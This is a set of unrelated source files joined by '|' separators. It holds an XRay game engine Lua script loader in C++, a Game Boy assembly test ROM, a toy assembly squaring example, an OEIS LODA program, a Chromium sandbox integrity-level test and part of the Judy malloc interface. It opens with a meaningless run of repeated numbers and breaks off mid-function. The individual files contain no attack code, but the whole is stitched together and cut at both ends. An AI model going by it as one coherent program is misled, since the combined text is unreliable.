37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
////////////////////////////////////////////////////////////////////////////
// Module : script_engine.cpp
// Created : 01.04.2004
// Modified : 01.04.2004
// Author : Dmitriy Iassenev
// Description : XRay Script Engine
////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "script_engine.h"
#include "ai_space.h"
#include "object_factory.h"
#include "script_process.h"
#include "script_space.h"
#ifdef USE_DEBUGGER
# include "script_debugger.h"
#endif
#ifndef XRSE_FACTORY_EXPORTS
# ifdef DEBUG
# include "ai_debug.h"
extern Flags32 psAI_Flags;
# endif
#endif
extern void export_classes(lua_State *L);
CScriptEngine::CScriptEngine ()
{
m_stack_level = 0;
m_reload_modules = false;
m_last_no_file_length = 0;
*m_last_no_file = 0;
#ifdef USE_DEBUGGER
m_scriptDebugger = NULL;
restartDebugger ();
#endif
}
CScriptEngine::~CScriptEngine ()
{
while (!m_script_processes.empty())
remove_script_process(m_script_processes.begin()->first);
flush_log ();
#ifdef USE_DEBUGGER
xr_delete (m_scriptDebugger);
#endif
}
void CScriptEngine::unload ()
{
lua_settop (lua(),m_stack_level);
m_last_no_file_length = 0;
*m_last_no_file = 0;
}
int CScriptEngine::lua_panic (CLuaVirtualMachine *L)
{
print_output (L,"PANIC",LUA_ERRRUN);
return (0);
}
void CScriptEngine::lua_error (CLuaVirtualMachine *L)
{
print_output (L,"",LUA_ERRRUN);
#if !XRAY_EXCEPTIONS
Debug.fatal (DEBUG_INFO,"LUA error: %s",lua_tostring(L,-1));
#else
throw lua_tostring(L,-1);
#endif
}
int CScriptEngine::lua_pcall_failed (CLuaVirtualMachine *L)
{
print_output (L,"",LUA_ERRRUN);
#if !XRAY_EXCEPTIONS
Debug.fatal (DEBUG_INFO,"LUA error: %s",lua_isstring(L,-1) ? lua_tostring(L,-1) : "");
#endif
if (lua_isstring(L,-1))
lua_pop (L,1);
return (LUA_ERRRUN);
}
void lua_cast_failed (CLuaVirtualMachine *L, LUABIND_TYPE_INFO info)
{
CScriptEngine::print_output (L,"",LUA_ERRRUN);
Debug.fatal (DEBUG_INFO,"LUA error: cannot cast lua value to %s",info->name());
}
void CScriptEngine::setup_callbacks ()
{
#ifdef USE_DEBUGGER
if( debugger() )
debugger()->PrepareLuaBind ();
#endif
#ifdef USE_DEBUGGER
if (!debugger() || !debugger()->Active() )
#endif
{
#if !XRAY_EXCEPTIONS
luabind::set_error_callback (CScriptEngine::lua_error);
#endif
luabind::set_pcall_callback (CScriptEngine::lua_pcall_failed);
}
#if !XRAY_EXCEPTIONS
luabind::set_cast_failed_callback (lua_cast_failed);
#endif
lua_atpanic (lua(),CScriptEngine::lua_panic);
}
#ifdef DEBUG
# include "script_thread.h"
void CScriptEngine::lua_hook_call (CLuaVirtualMachine *L, lua_Debug *dbg)
{
if (ai().script_engine().current_thread())
ai().script_engine().current_thread()->script_hook(L,dbg);
else
ai().script_engine().m_stack_is_ready = true;
}
#endif
int auto_load (lua_State *L)
{
if ((lua_gettop(L) < 2) || !lua_istable(L,1) || !lua_isstring(L,2)) {
lua_pushnil (L);
return (1);
}
ai().script_engine().process_file_if_exists(lua_tostring(L,2),false);
lua_rawget (L,1);
return (1);
}
void CScriptEngine::setup_auto_load ()
{
luaL_newmetatable (lua(),"XRAY_AutoLoadMetaTable");
lua_pushstring (lua(),"__index");
lua_pushcfunction (lua(), auto_load);
lua_settable (lua(),-3);
lua_pushstring (lua(),"_G");
lua_gettable (lua(),LUA_GLOBALSINDEX);
luaL_getmetatable (lua(),"XRAY_AutoLoadMetaTable");
lua_setmetatable (lua(),-2);
//. ??????????
// lua_settop (lua(),-0);
}
void CScriptEngine::init ()
{
luabind::open (lua());
setup_callbacks ();
export_classes (lua());
setup_auto_load ();
#ifdef DEBUG
m_stack_is_ready = true;
#endif
#ifdef DEBUG
# ifdef USE_DEBUGGER
if( !debugger() || !debugger()->Active() )
# endif
lua_sethook (lua(),lua_hook_call, LUA_MASKLINE|LUA_MASKCALL|LUA_MASKRET, 0);
#endif
bool save = m_reload_modules;
m_reload_modules = true;
process_file_if_exists ("_G",false);
m_reload_modules = save;
register_script_classes ();
object_factory().register_script ();
#ifdef XRGAME_EXPORTS
load_common_scripts ();
#endif
m_stack_level = lua_gettop(lua());
}
void CScriptEngine::remove_script_process (const EScriptProcessors &process_id)
{
CScriptProcessStorage::iterator I = m_script_processes.find(process_id);
if (I != m_script_processes.end()) {
xr_delete ((*I).second);
m_script_processes.erase (I);
}
}
void CScriptEngine::load_common_scripts()
{
#ifdef DBG_DISABLE_SCRIPTS
return;
#endif
string256 S;
FS.update_path (S,"$game_config$","script.ltx");
CInifile *l_tpIniFile = xr_new<CInifile>(S);
R_ASSERT (l_tpIniFile);
if (!l_tpIniFile->section_exist("common")) {
xr_delete (l_tpIniFile);
return;
}
if (l_tpIniFile->line_exist("common","script")) {
LPCSTR caScriptString = l_tpIniFile->r_string("common","script");
u32 n = _GetItemCount(caScriptString);
string256 I;
for (u32 i=0; i<n; ++i) {
process_file(_GetItem(caScriptString,i,I));
if (object("_G",strcat(I,"_initialize"),LUA_TFUNCTION)) {
// lua_dostring (lua(),strcat(I,"()"));
luabind::functor<void> f;
R_ASSERT (functor(I,f));
f ();
}
}
}
xr_delete (l_tpIniFile);
}
void CScriptEngine::process_file_if_exists (LPCSTR file_name, bool warn_if_not_exist)
{
u32 string_length = xr_strlen(file_name);
if (!warn_if_not_exist && no_file_exists(file_name,string_length))
return;
string256 S,S1;
if (m_reload_modules || (*file_name && !namespace_loaded(file_name))) {
FS.update_path (S,"$game_scripts$",strconcat(S1,file_name,".script"));
if (!warn_if_not_exist && !FS.exist(S)) {
#ifdef DEBUG
# ifndef XRSE_FACTORY_EXPORTS
if (psAI_Flags.test(aiNilObjectAccess))
# endif
{
print_stack ();
Msg ("* trying to access variable %s, which doesn't exist, or to load script %s, which doesn't exist too",file_name,S1);
m_stack_is_ready = true;
}
#endif
add_no_file (file_name,string_length);
return;
}
Msg ("* loading script %s",S1);
m_reload_modules = false;
load_file_into_namespace(S,*file_name ? file_name : "_G");
}
}
void CScriptEngine::process_file (LPCSTR file_name)
{
process_file_if_exists (file_name,true);
}
void CScriptEngine::process_file (LPCSTR file_name, bool reload_modules)
{
m_reload_modules = reload_modules;
process_file_if_exists (file_name,true);
m_reload_modules = false;
}
void CScriptEngine::register_script_classes ()
{
#ifdef DBG_DISABLE_SCRIPTS
return;
#endif
string256 S;
FS.update_path (S,"$game_config$","script.ltx");
CInifile *l_tpIniFile = xr_new<CInifile>(S);
R_ASSERT (l_tpIniFile);
if (!l_tpIniFile->section_exist("common")) {
xr_delete (l_tpIniFile);
return;
}
m_class_registrators = READ_IF_EXISTS(l_tpIniFile,r_string,"common","class_registrators","");
xr_delete (l_tpIniFile);
u32 n = _GetItemCount(*m_class_registrators);
string256 I;
for (u32 i=0; i<n; ++i) {
_GetItem (*m_class_registrators,i,I);
luabind::functor<void> result;
if (!functor(I,result)) {
script_log (eLuaMessageTypeError,"Cannot load class registrator %s!",I);
continue;
}
result (const_cast<CObjectFactory*>(&object_factory()));
}
}
bool CScriptEngine::function_object(LPCSTR function_to_call, luabind::object &object, int type)
{
if (!xr_strlen(function_to_call))
return (false);
string256 name_space, function;
parse_script_namespace (function_to_call,name_space,function);
if (xr_strcmp(name_space,"_G"))
process_file (name_space);
if (!this->object(name_space,function,type))
return (false);
luabind::object lua_namespace = this->name_space(name_space);
object = lua_namespace[function];
return (true);
}
#ifdef USE_DEBUGGER
void CScriptEngine::stopDebugger ()
{
if (debugger()){
xr_delete (m_scriptDebugger);
Msg ("Script debugger succesfully stoped.");
}
else
Msg ("Script debugger not present.");
}
void CScriptEngine::restartDebugger ()
{
if(debugger())
stopDebugger();
m_scriptDebugger = xr_new<CScriptDebugger>();
debugger()->PrepareLuaBind();
Msg ("Script debugger succesfully restarted.");
}
#endif
bool CScriptEngine::no_file_exists (LPCSTR file_name, u32 string_length)
{
if (m_last_no_file_length != string_length)
return (false);
return (!memcmp(m_last_no_file,file_name,string_length*sizeof(char)));
}
void CScriptEngine::add_no_file (LPCSTR file_name, u32 string_length)
{
m_last_no_file_length = string_length;
CopyMemory (m_last_no_file,file_name,(string_length+1)*sizeof(char));
}
void CScriptEngine::collect_all_garbage ()
{
lua_gc (lua(),LUA_GCCOLLECT,0);
lua_gc (lua(),LUA_GCCOLLECT,0);
}
|
.size 8000
.text@50
jp ltimaint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
xor a, a
ldff(0f), a
ldff(ff), a
ld a, fe
ldff(05), a
ldff(06), a
ld a, 04
ldff(ff), a
ld a, 04
ldff(07), a
ei
nop
halt
.text@1000
ltimaint:
nop
.text@10f3
ldff a, (05)
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
ld bc, 7a00
ld hl, 8000
ld d, 00
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
pop af
ld b, a
srl a
srl a
srl a
srl a
ld(9800), a
ld a, b
and a, 0f
ld(9801), a
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
00 00 08 08 22 22 41 41
7f 7f 41 41 41 41 41 41
00 00 7e 7e 41 41 41 41
7e 7e 41 41 41 41 7e 7e
00 00 3e 3e 41 41 40 40
40 40 40 40 41 41 3e 3e
00 00 7e 7e 41 41 41 41
41 41 41 41 41 41 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 40 40 40 40
7f 7f 40 40 40 40 40 40
|
; A simple squaring function that also calls another function to
; display the result of the squaring.
square:
POP r10 ; Get the one and only argument.
MUL r10 r10 ; Square the input
PUSH r10 ; Push the result onto the stack so that the
; output function can display it.
CALL output
PUSH r10 ; Push the result onto the stack so that the
; code that called this function can get the reuslt.
RETURN
output:
POP r11 ; Get the only and only argument.
PRINT "Output "
PRINT r11 ; Display "Output = " + r11 + "\n"
PRINT "\n"
RETURN
main:
PUSH 5
CALL square ; Call square function with the number 5.
POP r0 ; Store 5 squared into register 0.
PUSH 24
CALL square ; Call squaure function with the number 24.
POP r1 ; Store 24 squared into register 1.
ADD r2 r0 r1 ; Add the two squared results just for something to do.
INFO r2 ; Output register 2 using the debug info command.
|
; A270889: Integers n such that the circular graph C_n has a square size deficiency.
; Submitted by Jamie Morken(s1.)
; 3,6,27,150,867,5046,29403,171366,998787,5821350,33929307,197754486,1152597603,6717831126,39154389147,228208503750,1330096633347,7752371296326,45184131144603,263352415571286,1534930362283107,8946229758127350,52142448186480987,303908459360758566,1771308307978070403,10323941388507663846,60172340023067912667,350710098749899812150,2044088252476330960227,11913819416108085949206,69438828244172184735003,404719150048925022460806,2358876072049377950029827,13748537282247342677718150
lpb $0
sub $0,1
add $2,$1
add $1,$2
add $1,$2
add $1,1
add $2,$1
lpe
mov $0,$2
mul $0,3
add $0,3
|
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <windows.h>
#include <atlsecurity.h>
#include "base/win_util.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "sandbox/src/sandbox.h"
#include "sandbox/src/sandbox_policy.h"
#include "sandbox/src/sandbox_factory.h"
#include "sandbox/tests/common/controller.h"
namespace sandbox {
SBOX_TESTS_COMMAND int CheckIntegrityLevel(int argc, wchar_t **argv) {
ATL::CAccessToken token;
if (!token.GetEffectiveToken(TOKEN_READ))
return SBOX_TEST_FAILED;
char* buffer[100];
DWORD buf_size = 100;
if (!::GetTokenInformation(token.GetHandle(), TokenIntegrityLevel,
reinterpret_cast<void*>(buffer), buf_size,
&buf_size))
return SBOX_TEST_FAILED;
TOKEN_MANDATORY_LABEL* label =
reinterpret_cast<TOKEN_MANDATORY_LABEL*>(buffer);
PSID sid_low = NULL;
if (!::ConvertStringSidToSid(L"S-1-16-4096", &sid_low))
return SBOX_TEST_FAILED;
BOOL is_low_sid = ::EqualSid(label->Label.Sid, sid_low);
::LocalFree(sid_low);
if (is_low_sid)
return SBOX_TEST_SUCCEEDED;
return SBOX_TEST_DENIED;
}
TEST(IntegrityLevelTest, TestLowILReal) {
if (win_util::WINVERSION_VISTA != win_util::GetWinVersion())
return;
TestRunner runner(JOB_LOCKDOWN, USER_INTERACTIVE, USER_INTERACTIVE);
runner.SetTimeout(INFINITE);
runner.GetPolicy()->SetIntegrityLevel(INTEGRITY_LEVEL_LOW);
EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L"CheckIntegrityLevel"));
runner.SetTestState(BEFORE_REVERT);
EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L"CheckIntegrityLevel"));
}
TEST(DelayedIntegrityLevelTest, TestLowILDelayed) {
if (win_util::WINVERSION_VISTA != win_util::GetWinVersion())
return;
TestRunner runner(JOB_LOCKDOWN, USER_INTERACTIVE, USER_INTERACTIVE);
runner.SetTimeout(INFINITE);
runner.GetPolicy()->SetDelayedIntegrityLevel(INTEGRITY_LEVEL_LOW);
EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L"CheckIntegrityLevel"));
runner.SetTestState(BEFORE_REVERT);
EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L"CheckIntegrityLevel"));
}
TEST(IntegrityLevelTest, TestNoILChange) {
if (win_util::WINVERSION_VISTA != win_util::GetWinVersion())
return;
TestRunner runner(JOB_LOCKDOWN, USER_INTERACTIVE, USER_INTERACTIVE);
runner.SetTimeout(INFINITE);
EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L"CheckIntegrityLevel"));
}
} // namespace sandbox
|
// Copyright (C) 2000 - 2002 Hewlett-Packard Company
//
// This program is free software; you can redistribute it and/or modify it
// under the term of the GNU Lesser General Public License as published by the
// Free Software Foundation; either version 2 of the License, or (at your
// option) any later version.
//
// This program is distributed in the hope that it will be useful, but WITHOUT
// ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
// FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License
// for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
// _________________
// @(#) $Revision$ $Source$
//
// Judy malloc/free interface functions for Judy1 and JudyL.
//
// Compile with one of -DJUDY1 or -DJUDYL.
//
// Compile with -DTRACEMI (Malloc Interface) to turn on tracing of malloc/free
// calls at the interface level. (See also TRACEMF in lower-level code.)
// Use -DTRACEMI2 for a terser format suitable for trace analysis.
//
// There can be malloc namespace bits in the LSBs of "raw" addresses from most,
// but not all, of the j__udy*Alloc*() functions; see also JudyPrivate.h. To
// test the Judy code, compile this file with -DMALLOCBITS and use debug flavor
// only (for assertions). This test ensures that (a) all callers properly mask
// the namespace bits out before dereferencing a pointer (or else a core dump
// occurs), and (b) all callers send "raw" (unmasked) addresses to
// j__udy*Free*() calls.
//
// Note: Currently -DDEBUG turns on MALLOCBITS automatically.
#include "config.h"
#if (! (defined(JUDY1) || defined(JUDYL)))
#error: One of -DJUDY1 or -DJUDYL must be specified.
#endif
#ifdef JUDY1
#include "Judy1.h"
#else
#include "JudyL.h"
#endif
#include "JudyPrivate1L.h"
// Set "hidden" global j__uMaxWords to the maximum number of words to allocate
// to any one array (large enough to have a JPM, otherwise j__uMaxWords is
// ignored), to trigger a fake malloc error when the number is exceeded. Note,
// this code is always executed, not #ifdefd, because its virtually free.
//
// Note: To keep the MALLOC macro faster and simpler, set j__uMaxWords to
// MAXINT, not zero, by default.
Word_t j__uMaxWords = ~0UL;
// This macro hides the faking of a malloc failure:
//
// Note: To keep this fast, just compare WordsPrev to j__uMaxWords without the
// complexity of first adding WordsNow, meaning the trigger point is not
// exactly where you might assume, but it shouldnt matter.
#define MALLOC(MallocFunc,WordsPrev,WordsNow) \
(((WordsPrev) > j__uMaxWords) ? 0UL : MallocFunc(WordsNow))
// Clear words starting at address:
//
// Note: Only use this for objects that care; in other cases, it doesnt
// matter if the objects memory is pre-zeroed.
#define ZEROWORDS(Addr,Words) \
{ \
Word_t Words__ = (Words); \
PWord_t Addr__ = (PWord_t) (Addr); \
while (Words__--) *Addr__++ = 0UL; \
}
#ifdef TRACEMI
// TRACING SUPPORT:
//
// Note: For TRACEMI, use a format for address printing compatible with other
// tracing facilities; in particular, %x not %lx, to truncate the "noisy" high
// part on 64-bit systems.
//
// TBD: The trace macros need fixing for alternate address types.
//
// Note: TRACEMI2 supports trace analysis no matter the underlying malloc/free
// engine used.
#include <stdio.h>
static Word_t j__udyMemSequence = 0L; // event sequence number.
#define TRACE_ALLOC5(a,b,c,d,e) (void) printf(a, (b), c, d)
#define TRACE_FREE5( a,b,c,d,e) (void) printf(a, (b), c, d)
#define TRACE_ALLOC6(a,b,c,d,e,f) (void) printf(a, (b), c, d, e)
#define TRACE_FREE6( a,b,c,d,e,f) (void) printf(a, (b), c, d, e)
#else
#ifdef TRACEMI2
#include <stdio.h>
#define b_pw cJU_BYTESPERWORD
#define TRACE_ALLOC5(a,b,c,d,e) \
(void) printf("a %lx %lx %lx\n", (b), (d) * b_pw, e)
#define TRACE_FREE5( a,b,c,d,e) \
(void) printf("f %lx %lx %lx\n", (b), (d) * b_pw, e)
#define TRACE_ALLOC6(a,b,c,d,e,f) \
(void) printf("a %lx %lx %lx\n", (b), (e) * b_pw, f)
#define TRACE_FREE6( a,b,c,d,e,f) \
(void) printf("f %lx %lx %lx\n", (b), (e) * b_pw, f)
static Word_t j__udyMemSequence = 0L; // event sequence number.
#else
#define TRACE_ALLOC5(a,b,c,d,e) // null.
#define TRACE_FREE5( a,b,c,d,e) // null.
#define TRACE_ALLOC6(a,b,c,d,e,f) // null.
#define TRACE_FREE6( a,b,c,d,e,f) // null.
#endif // ! TRACEMI2
#endif // ! TRACEMI
// MALLOC NAMESPACE SUPPORT:
#if (defined(DEBUG) && (! defined(MALLOCBITS))) // for now, DEBUG => MALLOCBITS:
#define MALLOCBITS 1
#endif
#ifdef MALLOCBITS
#define MALLOCBITS_VALUE 0x3 // bit pattern to use.
#define MALLOCBITS_MASK 0x7 // note: matches mask__ in JudyPrivate.h.
#define MALLOCBITS_SET( Type,Addr) \
((Addr) = (Type) ((Word_t) (Addr) | MALLOCBITS_VALUE))
#define MALLOCBITS_TEST(Type,Addr) \
assert((((Word_t) (Addr)) & MALLOCBITS_MASK) == MALLOCBITS_VALUE); \
((Addr) = (Type) ((Word_t) (Addr) & ~MALLOCBITS_VALUE))
#else
#define MALLOCBITS_SET( Type,Addr) // null.
#define MALLOCBITS_TEST(Type,Addr) // null.
#endif
// SAVE ERROR INFORMATION IN A Pjpm:
//
// "Small" (invalid) Addr values are used to distinguish overrun and no-mem
// errors. (TBD, non-zero invalid values are no longer returned from
// lower-level functions, that is, JU_ERRNO_OVERRUN is no longer detected.)
#define J__UDYSETALLOCERROR(Addr) \
{ \
JU_ERRID(Pjpm) = __LINE__; \
if ((Word_t) (Addr) > 0) JU_ERRNO(Pjpm) = JU_ERRNO_OVERRUN; \
else JU_ERRNO(Pjpm) = JU_ERRNO_NOMEM; \
return(0); \
}
// ****************************************************************************
// ALLOCATION FUNCTIONS:
//
// To help the compiler catch coding errors, each function returns a specific
// object type.
//
// Note: Only j__udyAllocJPM() and j__udyAllocJLW() return multiple values <=
// sizeof(Word_t) to indicate the type of memory allocation failure. Other
// allocation functions convert this failure to a JU_ERRNO.
// Note: Unlike other j__udyAlloc*() functions, Pjpms are returned non-raw,
// that is, without malloc namespace or root pointer type bits:
FUNCTION Pjpm_t j__udyAllocJPM(void)
{
Word_t Words = sizeof(jpm_t) / cJU_BYTESPERWORD;
Pjpm_t Pjpm = (Pjpm_t) MALLOC(JudyMalloc, Words, Words);
assert((Words * cJU_BYTESPERWORD) == sizeof(jpm_t));
if ((Word_t) Pjpm > sizeof(Word_t))
{
ZEROWORDS(Pjpm, Words);
Pjpm->jpm_TotalMemWords = Words;
}
TRACE_ALLOC5("0x%x %8lu = j__udyAllocJPM(), Words = %lu\n",
Pjpm, j__udyMemSequence++, Words, cJU_LEAFW_MAXPOP1 + 1);
// MALLOCBITS_SET(Pjpm_t, Pjpm); // see above.
return(Pjpm);
} // j__udyAllocJPM()
FUNCTION Pjbl_t j__udyAllocJBL(Pjpm_t Pjpm)
{
Word_t Words = sizeof(jbl_t) / cJU_BYTESPERWORD;
Pjbl_t PjblRaw = (Pjbl_t) MALLOC(JudyMallocVirtual,
Pjpm->jpm_TotalMemWords, Words);
assert((Words * cJU_BYTESPERWORD) == sizeof(jbl_t));
if ((Word_t) PjblRaw > sizeof(Word_t))
{
ZEROWORDS(P_JBL(PjblRaw), Words);
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjblRaw); }
TRACE_ALLOC5("0x%x %8lu = j__udyAllocJBL(), Words = %lu\n", PjblRaw,
j__udyMemSequence++, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjbl_t, PjblRaw);
return(PjblRaw);
} // j__udyAllocJBL()
FUNCTION Pjbb_t j__udyAllocJBB(Pjpm_t Pjpm)
{
Word_t Words = sizeof(jbb_t) / cJU_BYTESPERWORD;
Pjbb_t PjbbRaw = (Pjbb_t) MALLOC(JudyMallocVirtual,
Pjpm->jpm_TotalMemWords, Words);
assert((Words * cJU_BYTESPERWORD) == sizeof(jbb_t));
if ((Word_t) PjbbRaw > sizeof(Word_t))
{
ZEROWORDS(P_JBB(PjbbRaw), Words);
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjbbRaw); }
TRACE_ALLOC5("0x%x %8lu = j__udyAllocJBB(), Words = %lu\n", PjbbRaw,
j__udyMemSequence++, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjbb_t, PjbbRaw);
return(PjbbRaw);
} // j__udyAllocJBB()
FUNCTION Pjp_t j__udyAllocJBBJP(Word_t NumJPs, Pjpm_t Pjpm)
{
Word_t Words = JU_BRANCHJP_NUMJPSTOWORDS(NumJPs);
Pjp_t PjpRaw;
PjpRaw = (Pjp_t) MALLOC(JudyMalloc, Pjpm->jpm_TotalMemWords, Words);
if ((Word_t) PjpRaw > sizeof(Word_t))
{
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjpRaw); }
TRACE_ALLOC6("0x%x %8lu = j__udyAllocJBBJP(%lu), Words = %lu\n", PjpRaw,
j__udyMemSequence++, NumJPs, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjp_t, PjpRaw);
return(PjpRaw);
} // j__udyAllocJBBJP()
FUNCTION Pjbu_t j__udyAllocJBU(Pjpm_t Pjpm)
{
Word_t Words = sizeof(jbu_t) / cJU_BYTESPERWORD;
Pjbu_t PjbuRaw = (Pjbu_t) MALLOC(JudyMallocVirtual,
Pjpm->jpm_TotalMemWords, Words);
assert((Words * cJU_BYTESPERWORD) == sizeof(jbu_t));
if ((Word_t) PjbuRaw > sizeof(Word_t))
{
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjbuRaw); }
TRACE_ALLOC5("0x%x %8lu = j__udyAllocJBU(), Words = %lu\n", PjbuRaw,
j__udyMemSequence++, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjbu_t, PjbuRaw);
return(PjbuRaw);
} // j__udyAllocJBU()
#if (defined(JUDYL) || (! defined(JU_64BIT)))
FUNCTION Pjll_t j__udyAllocJLL1(Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF1POPTOWORDS(Pop1);
Pjll_t PjllRaw;
PjllRaw = (Pjll_t) MALLOC(JudyMalloc, Pjpm->jpm_TotalMemWords, Words);
if ((Word_t) PjllRaw > sizeof(Word_t))
{
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjllRaw); }
TRACE_ALLOC6("0x%x %8lu = j__udyAllocJLL1(%lu), Words = %lu\n", PjllRaw,
j__udyMemSequence++, Pop1, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjll_t, PjllRaw);
return(PjllRaw);
} // j__udyAllocJLL1()
#endif // (JUDYL || (! JU_64BIT))
FUNCTION Pjll_t j__udyAllocJLL2(Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF2POPTOWORDS(Pop1);
Pjll_t PjllRaw;
PjllRaw = (Pjll_t) MALLOC(JudyMalloc, Pjpm->jpm_TotalMemWords, Words);
if ((Word_t) PjllRaw > sizeof(Word_t))
{
Pjpm->jpm_TotalMemWords += Words;
}
